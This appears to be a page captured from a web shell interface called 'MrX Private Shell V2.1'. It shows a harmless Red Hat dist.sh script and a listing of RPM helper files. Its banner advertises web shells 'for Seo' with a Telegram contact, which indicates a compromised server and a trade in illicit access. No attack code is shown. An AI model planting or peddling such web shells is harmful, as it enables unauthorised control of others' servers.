__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/bash
# dist.sh
# Author: Tom "spot" Callaway <tcallawa@redhat.com>
# License: GPL
# This is a script to output the value for the %{dist}
# tag. The dist tag takes the following format: .$type$num
# Where $type is one of: el, fc, rh
# (for RHEL, Fedora Core, and RHL, respectively)
# And $num is the version number of the distribution.
# NOTE: We can't detect Rawhide or Fedora Test builds properly.
# If we successfully detect the version number, we output the
# dist tag. Otherwise, we exit with no output.
RELEASEFILE=/etc/redhat-release
function check_num {
MAINVER=`cut -d "(" -f 1 < $RELEASEFILE | \
sed -e "s/[^0-9.]//g" -e "s/$//g" | cut -d "." -f 1`
echo $MAINVER | grep -q '[0-9]' && echo $MAINVER
}
function check_rhl {
grep -q "Red Hat Linux" $RELEASEFILE && ! grep -q "Advanced" $RELEASEFILE && echo $DISTNUM
}
function check_rhel {
egrep -q "(Enterprise|Advanced|CloudLinux)" $RELEASEFILE && echo $DISTNUM
}
function check_fedora {
grep -q Fedora $RELEASEFILE && echo $DISTNUM
}
DISTNUM=`check_num`
DISTFC=`check_fedora`
DISTRHL=`check_rhl`
DISTRHEL=`check_rhel`
if [ -n "$DISTNUM" ]; then
if [ -n "$DISTFC" ]; then
DISTTYPE=fc
elif [ -n "$DISTRHEL" ]; then
DISTTYPE=el
elif [ -n "$DISTRHL" ]; then
DISTTYPE=rhl
fi
fi
[ -n "$DISTTYPE" -a -n "$DISTNUM" ] && DISTTAG=".${DISTTYPE}${DISTNUM}"
case "$1" in
--el) echo -n "$DISTRHEL" ;;
--fc) echo -n "$DISTFC" ;;
--rhl) echo -n "$DISTRHL" ;;
--distnum) echo -n "$DISTNUM" ;;
--disttype) echo -n "$DISTTYPE" ;;
--help)
printf "Usage: $0 [OPTIONS]\n"
printf " Default mode is --dist. Possible options:\n"
printf " --el\t\tfor RHEL version (if RHEL)\n"
printf " --fc\t\tfor Fedora version (if Fedora)\n"
printf " --rhl\t\tfor RHL version (if RHL)\n"
printf " --dist\t\tfor distribution tag\n"
printf " --distnum\tfor distribution number (major)\n"
printf " --disttype\tfor distribution type\n" ;;
*) echo -n "$DISTTAG" ;;
esac
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| find-provides.d | Folder | 0755 |
|
|
| brp-compress | File | 1.42 KB | 0755 |
|
| brp-implant-ident-static | File | 970 B | 0755 |
|
| brp-java-repack-jars | File | 2.76 KB | 0755 |
|
| brp-python-hardlink | File | 686 B | 0755 |
|
| brp-strip | File | 509 B | 0755 |
|
| brp-strip-comment-note | File | 803 B | 0755 |
|
| brp-strip-shared | File | 707 B | 0755 |
|
| brp-strip-static-archive | File | 416 B | 0755 |
|
| config.guess | File | 44.24 KB | 0755 |
|
| config.sub | File | 34.74 KB | 0755 |
|
| dist.sh | File | 1.93 KB | 0755 |
|
| find-provides | File | 2.8 KB | 0755 |
|
| find-provides.ksyms | File | 1.44 KB | 0755 |
|
| find-provides.libtool | File | 203 B | 0755 |
|
| find-provides.pkgconfig | File | 603 B | 0755 |
|
| find-requires | File | 4.06 KB | 0755 |
|
| find-requires.ksyms | File | 5.85 KB | 0755 |
|
| find-requires.libtool | File | 271 B | 0755 |
|
| find-requires.pkgconfig | File | 282 B | 0755 |
|
| kmodtool | File | 8.11 KB | 0755 |
|
| libtool-handle-ppc64le.sh | File | 3.64 KB | 0755 |
|
| macros | File | 10.1 KB | 0644 |
|
| redhat-hardened-cc1 | File | 70 B | 0444 |
|
| redhat-hardened-ld | File | 47 B | 0444 |
|
| rpmrc | File | 3.69 KB | 0644 |
|
| rpmsort | File | 2.11 KB | 0755 |
|
| symset-table | File | 903 B | 0755 |
|